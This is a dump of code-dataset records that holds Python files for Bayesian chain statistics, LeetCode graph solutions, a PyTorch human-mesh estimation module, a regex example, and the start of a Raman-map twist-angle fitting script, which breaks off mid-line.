np.ndim(q) == 0\n q = np.atleast_1d(q)\n quantiles = np.array(q)\n\n for iq, qq in enumerate(q.flat):\n\n def cdf(x):\n return sum(w * cdf(x) for w, cdf in zip(weight, cdfs)) - qq\n\n nsigmas = 100\n limits = np.min(locs - nsigmas * scales), np.max(locs + nsigmas * scales)\n if qq <= limits[0]:\n res = limits[0]\n elif qq >= limits[1]:\n res = limits[1]\n else:\n x = np.linspace(*limits, num=10000)\n cdf = cdf(x)\n idx = np.searchsorted(cdf, 0, side='right') - 1\n res = (x[idx + 1] - x[idx]) / (cdf[idx + 1] - cdf[idx]) * cdf[idx + 1] + x[idx]\n #print(cdf(x[idx]), cdf(x[idx + 1]))\n #res = optimize.bisect(cdf, x[idx], x[idx + 1], xtol=1e-6 * np.mean(scales), disp=True)\n quantiles.flat[iq] = res\n\n if isscalar:\n return quantiles[0]\n return quantiles\n\n return utils.weighted_quantile(value, q=q, weights=weight, axis=0, method=method)\n\n @vectorize\n def interval(self, params=None, nsigmas=1.):\n \"\"\"\n Return n-sigma confidence interval(s).\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to compute confidence interval for. Defaults to all parameters.\n\n nsigmas : int\n Return interval for this number of sigmas.\n\n Returns\n -------\n interval : tuple, list\n \"\"\"\n value = self[params].ravel()\n weight = self.weight.ravel()\n weight /= np.sum(weight)\n\n if value.param.solved:\n\n from scipy import stats\n\n locs = value\n scales = _get_solved_covariance(self, [params])[..., 0, 0].ravel()**0.5\n cdfs = [stats.norm(loc=loc, scale=scale).cdf for loc, scale in zip(locs, scales)]\n\n def cdf(x):\n return sum(w * cdf(x) for w, cdf in zip(weight, cdfs))\n\n limits = np.min(locs - 2 * nsigmas * scales), np.max(locs + 2 * nsigmas * scales)\n value = np.linspace(*limits, num=10000)\n weight = cdf(value)\n weight = np.concatenate([[weight[0]], np.diff(weight)[:-1], [1. - weight[-2]]])\n\n return utils.interval(value, weights=weight, nsigmas=nsigmas)\n\n def to_fisher(self, params=None, ddof=1, **kwargs):\n \"\"\"\n Return Fisher from (weighted) samples.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to return Fisher for. Defaults to all parameters.\n\n ddof : int, default=1\n Number of degrees of freedom.\n\n **kwargs : dict\n Arguments for :meth:`choice`, giving the mean of the output Fisher likelihood.\n\n Returns\n -------\n fisher : LikelihoodFisher\n \"\"\"\n precision = self.precision(params=params, ddof=ddof, return_type=None)\n params = precision._params\n mean = self.choice(params=params, return_type='nparray', **kwargs)\n return LikelihoodFisher(center=mean, params=params, offset=self.logposterior.max(), hessian=-precision.view(return_type='nparray'), with_prior=True)\n\n def to_stats(self, params=None, quantities=None, sigfigs=2, tablefmt='latex_raw', fn=None):\n \"\"\"\n Export summary sampling quantities.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to export quantities for. Defaults to all parameters.\n\n quantities : list, default=None\n Quantities to export. Defaults to ``['argmax', 'mean', 'median', 'std', 'quantile:1sigma', 'interval:1sigma']``.\n\n sigfigs : int, default=2\n Number of significant digits.\n See :func:`utils.round_measurement`.\n\n tablefmt : str, default='latex_raw'\n Format for summary table.\n See :func:`tabulate.tabulate`.\n If 'list', return table as list of list of strings, and headers.\n If 'list_latex', return table as list of list of latex strings, and headers.\n\n fn : str, default=None\n If not ``None``, file name where to save summary table.\n\n Returns\n -------\n tab : str\n Summary table.\n \"\"\"\n import tabulate\n if params is None: params = self.params(varied=True)\n else: params = [self[param].param for param in params]\n if quantities is None: quantities = ['argmax', 'mean', 'median', 'std', 'quantile:1sigma', 'interval:1sigma']\n is_latex = 'latex' in tablefmt\n\n def round_errors(low, up):\n low, up = utils.round_measurement(0.0, low, up, sigfigs=sigfigs, positive_sign='u')[1:]\n if is_latex: return '${{}}_{{{}}}^{{{}}}$'.format(low, up)\n return '{}/{}'.format(low, up)\n\n data = []\n for param in params:\n row = []\n row.append(param.latex(inline=True) if is_latex else str(param))\n ref_center = self.mean(param)\n ref_error = self.var(param)**0.5\n for quantity in quantities:\n if quantity in ['argmax', 'mean', 'median', 'std']:\n value = getattr(self, quantity)(param)\n value = utils.round_measurement(value, ref_error, sigfigs=sigfigs)[0]\n if is_latex: value = '${}$'.format(value)\n row.append(value)\n elif quantity.startswith('quantile'):\n nsigmas = int(re.match('quantile:(.*)sigma', quantity).group(1))\n low, up = self.quantile(param, q=utils.nsigmas_to_quantiles_1d_sym(nsigmas))\n row.append(round_errors(low - ref_center, up - ref_center))\n elif quantity.startswith('interval'):\n nsigmas = int(re.match('interval:(.*)sigma', quantity).group(1))\n low, up = self.interval(param, nsigmas=nsigmas)\n row.append(round_errors(low - ref_center, up - ref_center))\n else:\n raise RuntimeError('Unknown quantity {}.'.format(quantity))\n data.append(row)\n if 'list' in tablefmt:\n return data, quantities\n tab = tabulate.tabulate(data, headers=quantities, tablefmt=tablefmt)\n if fn is not None:\n utils.mkdir(os.path.dirname(fn))\n self.log_info('Saving to {}.'.format(fn))\n with open(fn, 'w') as file:\n file.write(tab)\n return tab\n","repo_name":"cosmodesi/desilike","sub_path":"desilike/samples/chain.py","file_name":"chain.py","file_ext":"py","file_size_in_byte":36742,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"}
+{"seq_id":"35863450061","text":"class Solution:\n def getAncestors(self, n: int, edges: List[List[int]]) -> List[List[int]]:\n d = collections.defaultdict(list)\n \n for a, b in edges:\n d[b].append(a)\n\n @functools.cache\n def dfs(i, j):\n if i not in d:\n return\n\n for n in d[i]:\n s.add(n)\n dfs(n, j)\n \n values = []\n for i in range(n):\n s = set()\n dfs(i, i)\n values.append(sorted(s))\n\n return values\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/2192_all_ancestors_of_a_node_in_a_directed_acyclic_graph/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"26330001354","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\nimport math\nimport numpy as np\n\nfrom .smpl import SMPL_layer\nfrom .utils import rot6d_to_rotmat, rotmat_to_axis_angle, _sigmoid\n\ndef build_iia_module(cfg):\n return IIA(cfg)\n\ndef build_gfd_module(cfg):\n return GFD(cfg)\n\nclass IIA(nn.Module):\n def __init__(self, cfg):\n super().__init__()\n self.device = torch.device(cfg.MODEL.DEVICE)\n self.num_keypoints = cfg.DATASET.NUM_KEYPOINTS\n self.in_channels = cfg.MODEL.IIA.IN_CHANNELS\n self.out_channels = cfg.MODEL.IIA.OUT_CHANNELS\n assert self.out_channels == self.num_keypoints + 1\n self.num_part = 15\n\n self.heatmap_head = nn.Conv2d(self.in_channels, self.out_channels, 1, 1, 0)\n self.mask_head = nn.Conv2d(self.in_channels, 1, 1, 1, 0)\n self.part_head = nn.Conv2d(self.in_channels, self.num_part, 1, 1, 0)\n # smpl mesh part\n self.kpts_head = nn.Conv2d(self.in_channels, self.num_keypoints*2, 1, 1, 0)\n param_out_dim = 24*6 + 10 + 3\n self.mesh_head = nn.Conv2d(self.in_channels, param_out_dim, 1, 1, 0)\n self.smpl_joint_select = [1, 2, 4, 5, 7, 8, 16, 17, 18, 19, 20, 21]\n self.coco_joint_select = [11, 12, 13, 14, 15, 16, 5, 6, 7, 8, 9, 10]\n\n # smpl layer\n h36m_jregressor = np.load('./model_files/J_regressor_h36m.npy')\n self.smpl = SMPL_layer(\n './model_files/basicModel_neutral_lbs_10_207_0_v1.0.0.pkl',\n h36m_jregressor=h36m_jregressor,\n dtype=torch.float32\n )\n self.focal = cfg.MODEL.get('FOCAL', 5000)\n self.camera_3d_size = cfg.MODEL.get('CAMERA_3D_SIZE', 2.5)\n\n # inference\n self.flip_test = cfg.TEST.FLIP_TEST\n self.max_proposals = cfg.TEST.MAX_PROPOSALS\n self.keypoint_thre = cfg.TEST.KEYPOINT_THRESHOLD\n self.pool_thre1 = cfg.TEST.POOL_THRESHOLD1\n self.pool_thre2 = cfg.TEST.POOL_THRESHOLD2\n \n def get_camera_trans(self, cam_param, h):\n # camera translation\n t_xy = cam_param[:,:2]\n gamma = torch.pow(1.1, cam_param[:, 2])\n # gamma = torch.sigmoid(cam_param[:,2]) # apply sigmoid to make it positive\n k_value = torch.FloatTensor([math.sqrt(self.focal*self.focal*self.camera_3d_size*self.camera_3d_size/(h*h))]).to(cam_param.device).view(-1)\n t_z = k_value * gamma\n cam_trans = torch.cat((t_xy, t_z[:,None]),1)\n return cam_trans\n\n def _make_transition_for_head(self, inplanes, outplanes):\n transition_layer = [\n nn.Conv2d(inplanes, outplanes, 1, 1, 0, bias=False),\n nn.BatchNorm2d(outplanes),\n nn.ReLU(True)\n ]\n return nn.Sequential(*transition_layer)\n\n def forward(self, features, batch_inputs=None, input_scale=1.0):\n pred_multi_heatmap = _sigmoid(self.heatmap_head(features))\n pred_multi_mask = self.mask_head(features).sigmoid()\n pred_multi_part = self.part_head(features)\n\n pred_offsets = self.kpts_head(features)\n pred_smplparam = self.mesh_head(features)\n locations = self.locations(pred_smplparam)[None, None]\n bs, c, h, w = features.shape\n pred_keypoints = locations - pred_offsets.reshape(bs, self.num_keypoints, 2, h, w)\n pred_keypoints = pred_keypoints.reshape(bs, self.num_keypoints*2, h, w)\n\n instances = {}\n H, W = pred_multi_heatmap.size()[2:]\n if self.flip_test:\n center_heatmap = pred_multi_heatmap[:, -1, :, :].mean(dim=0, keepdim=True)\n else:\n center_heatmap = pred_multi_heatmap[:, -1, :, :]\n\n center_pool = F.avg_pool2d(center_heatmap, 3, 1, 1)\n center_heatmap = (center_heatmap + center_pool) / 2.0\n maxm = self.hierarchical_pool(center_heatmap)\n maxm = torch.eq(maxm, center_heatmap).float()\n center_heatmap = center_heatmap * maxm\n scores = center_heatmap.view(-1)\n scores, pos_ind = scores.topk(self.max_proposals, dim=0)\n select_ind = (scores > (self.keypoint_thre)).nonzero()\n if len(select_ind) > 0:\n scores = scores[select_ind].squeeze(1)\n pos_ind = pos_ind[select_ind].squeeze(1)\n x = pos_ind % W\n y = (pos_ind / W).long()\n instance_coord = torch.stack((y, x), dim=1)\n instance_param = self._sample_feats(features[0], instance_coord)\n instance_imgid = torch.zeros(instance_coord.size(0), dtype=torch.long).to(features.device)\n if self.flip_test:\n instance_param_flip = self._sample_feats(features[1], instance_coord)\n instance_imgid_flip = torch.ones(instance_coord.size(0), dtype=torch.long).to(features.device)\n instance_coord = torch.cat((instance_coord, instance_coord), dim=0)\n instance_param = torch.cat((instance_param, instance_param_flip), dim=0)\n instance_imgid = torch.cat((instance_imgid, instance_imgid_flip), dim=0)\n \n pred_smplparam = pred_smplparam.permute(0, 2, 3, 1).reshape(bs*h*w, -1)\n pred_param = pred_smplparam[pos_ind]\n pred_pose_6d = pred_param[:, :24*6]\n pred_shape = pred_param[:, 24*6:24*6+10]\n pred_cam = pred_param[:, -3:]\n pred_pose_rotmat = rot6d_to_rotmat(pred_pose_6d.reshape(-1, 6)).reshape(-1, 24*9)\n pred_pose_axis = rotmat_to_axis_angle(pred_pose_rotmat.reshape(-1, 3, 3)).reshape(-1, 24*3)\n pred_outputs = self.smpl(pred_pose_axis.contiguous(), pred_shape)\n cam_trans = self.get_camera_trans(pred_cam, 512*input_scale)\n smpl_mesh_cam = pred_outputs.vertices + cam_trans[:, None, :]\n location = locations[0].permute(0, 2, 3, 1).reshape(bs*h*w, -1)[pos_ind].reshape(-1, 2) * 4 * input_scale\n\n instances['instance_coord'] = instance_coord\n instances['instance_imgid'] = instance_imgid\n instances['instance_param'] = instance_param\n instances['instance_score'] = scores\n instances['mesh'] = smpl_mesh_cam\n instances['location'] = location\n\n return instances\n \n def _sample_feats(self, features, pos_ind):\n feats = features[:, pos_ind[:, 0], pos_ind[:, 1]]\n return feats.permute(1, 0)\n\n def hierarchical_pool(self, heatmap):\n map_size = (heatmap.shape[1] + heatmap.shape[2]) / 2.0\n if map_size > self.pool_thre1:\n maxm = F.max_pool2d(heatmap, 7, 1, 3)\n elif map_size > self.pool_thre2:\n maxm = F.max_pool2d(heatmap, 5, 1, 2)\n else:\n maxm = F.max_pool2d(heatmap, 3, 1, 1)\n return maxm\n\n @torch.no_grad()\n def locations(self, features):\n h, w = features.size()[-2:]\n device = features.device\n shifts_x = torch.arange(0, w, dtype=torch.float32, device=device)\n shifts_y = torch.arange(0, h, dtype=torch.float32, device=device)\n shift_y, shift_x = torch.meshgrid(shifts_y, shifts_x)\n shift_x = shift_x.reshape(-1)\n shift_y = shift_y.reshape(-1)\n locations = torch.stack((shift_x, shift_y), dim=1) \n locations = locations.reshape(h, w, 2).permute(2, 0, 1)\n return locations\n\nclass GFD(nn.Module):\n def __init__(self, cfg):\n super().__init__()\n self.device = torch.device(cfg.MODEL.DEVICE)\n self.num_keypoints = cfg.DATASET.NUM_KEYPOINTS\n self.in_channels = cfg.MODEL.GFD.IN_CHANNELS\n self.channels = cfg.MODEL.GFD.CHANNELS\n self.out_channels = cfg.MODEL.GFD.OUT_CHANNELS\n assert self.out_channels == self.num_keypoints\n self.prior_prob = cfg.MODEL.BIAS_PROB\n self.num_part = 15\n\n self.conv_down = nn.Conv2d(self.in_channels, self.channels, 1, 1, 0)\n self.c_attn = ChannelAtten(self.in_channels, self.channels)\n self.s_attn = SpatialAtten(self.in_channels, self.channels)\n self.heatmap_head = nn.Sequential(\n nn.Conv2d(self.channels*2, self.channels, 1, 1, 0),\n nn.ReLU(True),\n nn.Conv2d(self.channels, self.out_channels, 1, 1, 0)\n )\n self.mask_head = nn.Sequential(\n nn.Conv2d(self.channels*2, self.channels, 1, 1, 0),\n nn.ReLU(True),\n nn.Conv2d(self.channels, 1, 1, 1, 0)\n )\n self.part_head = nn.Sequential(\n nn.Conv2d(self.channels*2, self.channels, 1, 1, 0),\n nn.ReLU(True),\n nn.Conv2d(self.channels, self.num_part, 1, 1, 0)\n )\n\n def forward(self, features, instances):\n global_features = self.conv_down(features)\n instance_features = global_features[instances['instance_imgid']]\n instance_params = instances['instance_param']\n c_instance_feats = self.c_attn(instance_features, instance_params)\n s_instance_feats = self.s_attn(instance_features, instance_params, instances['instance_coord'])\n cond_instance_feats = torch.cat((c_instance_feats, s_instance_feats), dim=1)\n \n pred_instance_heatmaps = _sigmoid(self.heatmap_head(cond_instance_feats))\n pred_instance_masks = self.mask_head(cond_instance_feats).sigmoid()\n pred_instance_parts = self.part_head(cond_instance_feats)\n\n return pred_instance_heatmaps, pred_instance_masks, F.softmax(pred_instance_parts, dim=1)\n\nclass ChannelAtten(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(ChannelAtten, self).__init__()\n self.atn = nn.Linear(in_channels, out_channels)\n\n def forward(self, global_features, instance_params):\n B, C, H, W = global_features.size()\n instance_params = self.atn(instance_params).reshape(B, C, 1, 1)\n return global_features * instance_params.expand_as(global_features)\n\nclass SpatialAtten(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(SpatialAtten, self).__init__()\n self.atn = nn.Linear(in_channels, out_channels)\n self.feat_stride = 4\n conv_in = 3\n self.conv = nn.Conv2d(conv_in, 1, 5, 1, 2)\n\n def forward(self, global_features, instance_params, instance_inds):\n B, C, H, W = global_features.size()\n instance_params = self.atn(instance_params).reshape(B, C, 1, 1)\n feats = global_features * instance_params.expand_as(global_features)\n fsum = torch.sum(feats, dim=1, keepdim=True)\n input_feats = fsum\n locations = compute_locations(global_features.size(2), global_features.size(3), stride=1, device=global_features.device)\n n_inst = instance_inds.size(0)\n H, W = global_features.size()[2:]\n instance_locations = torch.flip(instance_inds, [1])\n instance_locations = instance_locations\n relative_coords = instance_locations.reshape(-1, 1, 2) - locations.reshape(1, -1, 2)\n relative_coords = relative_coords.permute(0, 2, 1).float()\n relative_coords = (relative_coords / 32).to(dtype=global_features.dtype)\n relative_coords = relative_coords.reshape(n_inst, 2, H, W)\n input_feats = torch.cat((input_feats, relative_coords), dim=1)\n mask = self.conv(input_feats).sigmoid()\n return global_features * mask\n\ndef compute_locations(h, w, stride, device):\n shifts_x = torch.arange(\n 0, w * stride, step=stride,\n dtype=torch.float32, device=device\n )\n shifts_y = torch.arange(\n 0, h * stride, step=stride,\n dtype=torch.float32, device=device\n )\n shift_y, shift_x = torch.meshgrid(shifts_y, shifts_x)\n shift_x = shift_x.reshape(-1)\n shift_y = shift_y.reshape(-1)\n locations = torch.stack((shift_x, shift_y), dim=1) + stride // 2\n return locations\n\nclass Block(nn.Module):\n def __init__(self, inplanes, planes):\n super(Block, self).__init__()\n self.conv1 = nn.Conv2d(inplanes, planes, 1, 1, 0)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = nn.Conv2d(inplanes, planes, 1, 1, 0)\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.relu(out)\n\n out = self.conv2(out)\n\n out += residual\n out = self.relu(out)\n\n return out","repo_name":"kennethwdk/HumVis","sub_path":"humvis/cid_module.py","file_name":"cid_module.py","file_ext":"py","file_size_in_byte":12149,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"150248851","text":"import re\n\npattern = re.compile(r'\\d{3} \\d{3}-\\d{4}')\n\n\nres = pattern.search('Call me at 515 555-4242!')\n\nres2 = pattern.findall('Call me at 515 555-4242! or 534 678-7272')\n\nprint(res.group())\n\nprint(res2)\n\nresponse3 = re.search(r'\\d{3} \\d{3}-\\d{4}', 'Calm down folks and call 675 134-9090')\n\nprint(response3.group())\n\n\n","repo_name":"bhokumar/python-apps","sub_path":"initial-project/regex/regex_example1.py","file_name":"regex_example1.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"43381938188","text":"# 841. Keys and Rooms\n\nclass Solution:\n def canVisitAllRooms(self, rooms: List[List[int]]) -> bool:\n stack = collections.deque()\n visited = set()\n\n if len(rooms) == 0:\n return False\n\n if len(rooms) == 1:\n return True\n\n stack.append(0)\n\n while stack:\n target = stack.pop()\n visited.add(target)\n\n for t in rooms[target]:\n if t not in visited:\n stack.append(t)\n\n if len(visited) != len(rooms):\n return False\n\n else:\n return True\n\n\n\n\n","repo_name":"yunnyang/Practice_Code","sub_path":"medium/leetCode841.py","file_name":"leetCode841.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"24978045013","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: Aaron\n@date: 2023/06/19\n@github: https://github.com/AaronSchaepers/twist-angle-analysis\n\nPREPARATION\n\n Export Raman maps from ProjectFive as .txt by choosing \"Table\" in the\n export menu. Set the spectral unit to \"rel. 1/cm\".\n Also, make sure the file \"phondis_graphene.dat\" is located in the same \n directory as this code.\n\n\nhiHOW TO USE THIS CODE\n\n As you scroll down, you will see that this code has four sections:\n 1. User input section\n 2. Advanced user input section\n 3. Don't touch section A (functions)\n 4. Don't touch section B (code execution)\n \n As a user, here is what you have to do to analyse your Raman Scan:\n \n 1. User input section:\n - Provide the required information about the scan (see comments)\n - Choose which peaks to fit, wether to load old fitresults, and which\n peaks to map\n - Run this code to start the fitting and mapping, or proceed to the\n\n 2. Advanced user input section:\n - For each peak, set the starting parameters for the Lorentzian fit\n - For each fitting parameter and each peak, define a threshold interval\n within which the fit results are accepted as realistic.\n - Run this code to start the fitting and mapping procedure\n \n The default initial and threshold values give good results for the TA, G, \n LO and 2D peak. You might want to save them by commenting them out if you \n change them so they don't get lost.\n\n Here is what the code does, depending on your input:\n \n 1. If fitting is activated:\n - Import the Raman raw data you specified\n - Perform Lorentzian fits to all the peaks you selected (a single fit\n for each peak)\n - Export a pickle file that contains all relevant data required to later\n reproduce the fitresults: x (1D array) and y (3D array) raw data of the Raman \n scan, a dictionnary containing all the preferences from the user \n input sections, the fitresults (3D array), the corresponding standard\n deviations (3D array) and a fiterrors array (2D) that documents where\n and why certain fits failed. This file is stored in the same directory\n that contains the original raw data.\n \n 2. If loading an olf fit is activated:\n - Import the raw data and results of a previously saved fit so that \n they are available for the plotting routine\n \n 3. If mapping is activated:\n - Take the fit results and export maps of intensity, position and \n linewidth for all selected peaks. If the TA peak is selected, the \n twist angle and its gradient are also included. They are saved in the \n same directory where the original raw data is stored.\n stored.\n - Open an interactive window ONLY FOR THE LAST SELECTED PEAK. \n The interactive window shows the maps of intensity, position and linewidth.\n Furthermore, you can double-click in any of these maps and it will show the\n Raman spectrum and fit in this data point. This is very helpful when it \n comes to check the quality of the fits and finding the right threshold \n parameters that serve to exclude faulty spectra.\n \n \nIDEAS FOR FUTURE FEATURES\n - Use the threshold dynamically in the interactive plot\n - Make one interactive map per peak \n - Disable intensity threshold, at least upper bound, because the max int \n values depend heavily on the integration time\n - Export pdfs with dpi = 800 directly from interactive plot\n - Progress bars\n\"\"\"\n\nimport pickle\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nfrom numpy import pi, arcsin, sqrt\nfrom scipy.optimize import curve_fit\nfrom scipy.interpolate import interp1d\n\na = 0.246 # Graphene lattice constant in nm\n\n\n###############################################################################\n\"\"\" 1. User input \"\"\"\n###############################################################################\n\n# Directory of the Raman data\nfolder = \"/Users/Aaron/Desktop/Code/Test_data\" \n\n# Name of the .txt file containing the Raman data, given with suffix\nfile = \"test_data_100x100.txt\" \n\n# In 1/cm, any spectral range without Raman features. This is used to calculate \n# the mean background noise which is subtracted from the data.\nspectral_mean_range = (350, 450) \n\nsize_px = (100, 100) # Size of the Scan in pixels\nsize_um = (7, 7) # Size of the Scan in µm\n\n# When importing new Raman raw data: Which peaks shall be fitted?\nb_fit_TA = False\nb_fit_G = False\nb_fit_LO = False\nb_fit_2D = False\n\n# When loading the results from an old fit: Which peaks shall be loaded?\nb_load_TA = True\nb_load_G = False\nb_load_LO = False\nb_load_2D = False\n\n# Which peaks shall be mapped?\nb_map_TA = True\nb_map_G = False\nb_map_LO = False\nb_map_2D = False\n\n\n###############################################################################\n\"\"\" 2. Advanced user input \"\"\"\n###############################################################################\n\n# Starting parameters for Lorentzian peak fits in the order:\n# Offset, intensity, linewidth.\n# The starting value for the position is determined dynamically\nstartparams_TA = [0, 250, 3]\nstartparams_G = [0, 8E3, 13]\nstartparams_LO = [0, 5E3, 5]\nstartparams_2D = [0, 2E4, 22]\n\n# Threshold parameters for excluding implausible fit results\n# NOTE: These are not boundary values for the fitting routine!\n# Instead, the best fit parameters of each spectrum are compared to these \n# threshold intervals. If any parameter lies outside of its threshold\n# interval, the corresponding data point is excluded from the map.\n\nthresh_TA_c = [20, 6000] # Intensity\nthresh_TA_x0 = [250, 275] # Position\nthresh_TA_lw = [0.4, 18] # Linewidth\n\nthresh_G_c = [1E3, 6E4] # Intensity\nthresh_G_x0 = [1577, 1595] # Position\nthresh_G_lw = [8, 30] # Linewidth\n\nthresh_LO_c = [300, 1E5] # Intensity\nthresh_LO_x0 = [1610, 1630] # Position\nthresh_LO_lw = [0.8, 30] # Linewidth\n\nthresh_2D_c = [1E3, 1E7] # Intensity\nthresh_2D_x0 = [2650, 2710] # Position\nthresh_2D_lw = [14, 60] # Linewidth\n\nmax_gradient = 1 # °/µm, upper bound for the twist angle gradient map. Larger\n # values will be excluded from the map.\n \n# Colorbar ranges for all mapped parameters in the form (minimum, maximum).\n# If left blank, no colorscale range will be specified in the respective plot.\ncrange_TA_int = (10, 500)\ncrange_TA_pos = (250, 275)\ncrange_TA_lw = (0, 14)\ncrange_G_int = ()\ncrange_G_pos = ()\ncrange_G_lw = ()\ncrange_LO_int = ()\ncrange_LO_pos = ()\ncrange_LO_lw = ()\ncrange_2D_int = ()\ncrange_2D_pos = ()\ncrange_2D_lw = ()\ncrange_theta = ()\ncrange_grad_theta = ()\n\n\n###############################################################################\n\"\"\" 3. Don't touch section A (functions) \"\"\"\n###############################################################################\n\n\n###############################################################################\n# 3.1 Functions for importing and exporting data \n###############################################################################\n\n\"\"\" Read Raman scan data from .txt file, set baseline to zero \"\"\"\ndef read_raman_scan(folder, file, size_px, spectral_mean_range):\n nx, ny = size_px # Size of the scan in pixels\n \n # A tuple of strings with 1600 entries, i.e., one entry per CCD pixel, i.e., one entry\n # per data point in the Raman spectrum.\n # Each of the 1600 strings is a succession of numbers giving the CCD counts\n # on the corresponding pixel for all the spatial data points measured in the scan.\n lines = tuple(open(folder + \"/\"+ file, 'r')) \n \n # A list containing 1600 sublists corresponding to the 1600 CCD pixels.\n # Each sublist contains nx*ny strings giving the the CCD counts on that \n # pixel for all the spatial data points.\n data_str = [x.split('\\t') for x in lines]\n \n # A list containing nx*ny+1 sublists with 1600 entries each. The first list \n # contains the wave numbers, the other lists are the measured spectra.\n data_float = np.array(data_str, dtype=float).T\n \n xlist = data_float[0].copy() # Extract first row which contains the x-data\n data_float = np.delete(data_float, 0, axis=0) # Remove the first row from data_float\n \n # A 3D array with the size nx*ny*1600, i.e., the first two axes correspond\n # to the x and y axes of the scan and the spectra will be stacked along the\n # third axis.\n data = np.zeros((ny,nx,len(data_str)))\n \n # Get indices of the averaging interval for baseline shifting\n i_xmin_mean = np.abs(xlist - spectral_mean_range[0]).argmin()\n i_xmax_mean = np.abs(xlist - spectral_mean_range[1]).argmin()\n \n # Scan over all spatial data points\n x,y = 0,0\n for i in range(nx*ny):\n # Calculate the average CCD counts in a range without peaks\n ymean = np.mean(data_float[i, i_xmin_mean:i_xmax_mean])\n # Subtract that average from the entire spectrum and stack the spectrum\n # into the data array\n data[y,x] = [y-ymean for y in data_float[i]] \n\n x = x+1\n if x == nx:\n y = y+1\n x = 0\n \n # Convert xlist to array for more efficient function evaluation\n xdata = np.asarray(xlist)\n \n return(xdata, data)\n\n\n###############################################################################\n# 3.2 Functions for the fitting procedure \n###############################################################################\n\n\"\"\" Lorentzian as used in spectroscopy \"\"\"\ndef lorentzian(x, b, c, x0, lw):\n f = b + c / pi * (lw/2) / ((x-x0)**2 + (lw/2)**2)\n return(f)\n \n\n\"\"\" Jacobian matrix of the Lorentzian as defined above \"\"\"\ndef jacobian(x, b, c, x0, lw):\n # Define partial derivatives\n Ldiffb = np.ones(x.shape)\n Ldiffc = lw / pi / ((x-x0)**2 + lw**2)\n Ldiffx0 = c / pi * 2 * lw * (x-x0) / ((x-x0)**2 + lw**2)**2\n Ldifflw = c / pi * (1 / ((x-x0)**2 + lw**2) - 2 * lw**2 / ((x-x0)**2 + lw**2)**2 )\n jac = np.stack((Ldiffb, Ldiffc, Ldiffx0, Ldifflw)).T\n return(jac)\n\n\n\"\"\" Perform a Lorentzian fit across a map of spectra \"\"\"\ndef fit_to_map(xdata, data, pdict):\n \n # Retrieve required variables from the dictionnary\n nx, ny = pdict[\"size_px\"] # Scan size in pixels\n fitrange = pdict[\"fitrange\"] # Spectral range for the fit\n p0 = pdict[\"startparams\"] # Starting values\n \n # Create arrays to store the fit results\n fitresults = np.zeros((ny,nx,4)) # Array with (b, c, x0, lw) for each x/y-datapoint in which fit was successful\n fitresults_std = np.zeros((ny,nx,4)) # Array with the uncertainties of the fit results\n fiterrors = np.zeros((ny,nx), dtype= \"object\") # Array with inormation if and why the fit failed for each x/y-datapoint\n\n # This expression searches the xlist for the wave number values \n # closest to the chosen fitrange and retrieves their indexes\n i_start = np.abs(xdata - fitrange[0]).argmin()\n i_stop = np.abs(xdata - fitrange[1]).argmin()\n \n # Slice xdata to keep only the relevant peak\n xdata_fit = xdata[i_start:i_stop]\n \n # Define boundaries to speed up the fitting routine\n # b c x0 lw\n lbounds = np.array((-np.inf, 0, 0, 0))\n ubounds = np.array((np.inf, np.inf, np.inf, np.inf))\n \n print(\"Fitting progress:\")\n for x in range(nx):\n progress = np.round(x/nx*100, 1)\n print(f\"{progress}%\")\n for y in range(ny):\n \n # Retrieve the spectrum of the current scan data point\n ydata = data[y,x]\n \n # Slice ydata to keep only the relevant peak\n ydata_fit = ydata[i_start:i_stop]\n \n # Determine highest data point, use position as x0 starting value\n p0[2] = xdata_fit[np.argmax(ydata_fit)]\n \n # Try to perform the fit\n try:\n popt, pcov = curve_fit(lorentzian, xdata_fit, ydata_fit, p0, bounds=(lbounds, ubounds), jac=jacobian)\n popt_std = np.sqrt(np.diag(pcov))\n \n # Check if any fit results contain NaN values\n if np.isnan(popt).any() or np.isnan(popt_std).any():\n fiterrors[y, x] = \"NaN\"\n continue\n # If not: write best fit parameters into the fitresults\n else:\n fitresults[y,x] = popt\n fitresults_std[y,x] = popt_std\n \n # If the fit fails, put a note in the fitresults array and proceed. \n except: \n fiterrors[y, x] = \"fit fail\"\n \n return(fitresults, fitresults_std, fiterrors)\n\n\n\n###############################################################################\n# 3.3 Functions for the mapping \n###############################################################################\n\n\"\"\" Map the intensity, position and linewidth of a given peak \"\"\"\ndef map_lorentz_parameters(fitresults, fiterrors, pdict, folder):\n # Retrieve required variables from the dictionnary\n nx, ny = pdict[\"size_px\"] # Scan size in pixels\n sx, sy = pdict[\"size_um\"] # Scan size in microns\n peakname = pdict[\"peakname\"] # Name of the peak\n (thresh_c, thresh_x0, thresh_lw) = pdict[\"params_thresh\"] # Threshold interval for each parameter\n crange_int = pdict[\"crange_int\"] # Colorbar range of intensity\n crange_pos = pdict[\"crange_pos\"] # Colorbar range of position\n crange_lw = pdict[\"crange_lw\"] # Colorbar range of linewidth\n \n # Conditions to check if the best fit parameters fall into their threshold interval\n conditions = [\n (thresh_c[0] > fitresults[:, :, 1]),\n (fitresults[:, :, 1] > thresh_c[1]),\n (thresh_x0[0] > fitresults[:, :, 2]),\n (fitresults[:, :, 2] > thresh_x0[1]),\n (thresh_lw[0] > fitresults[:, :, 3]),\n (fitresults[:, 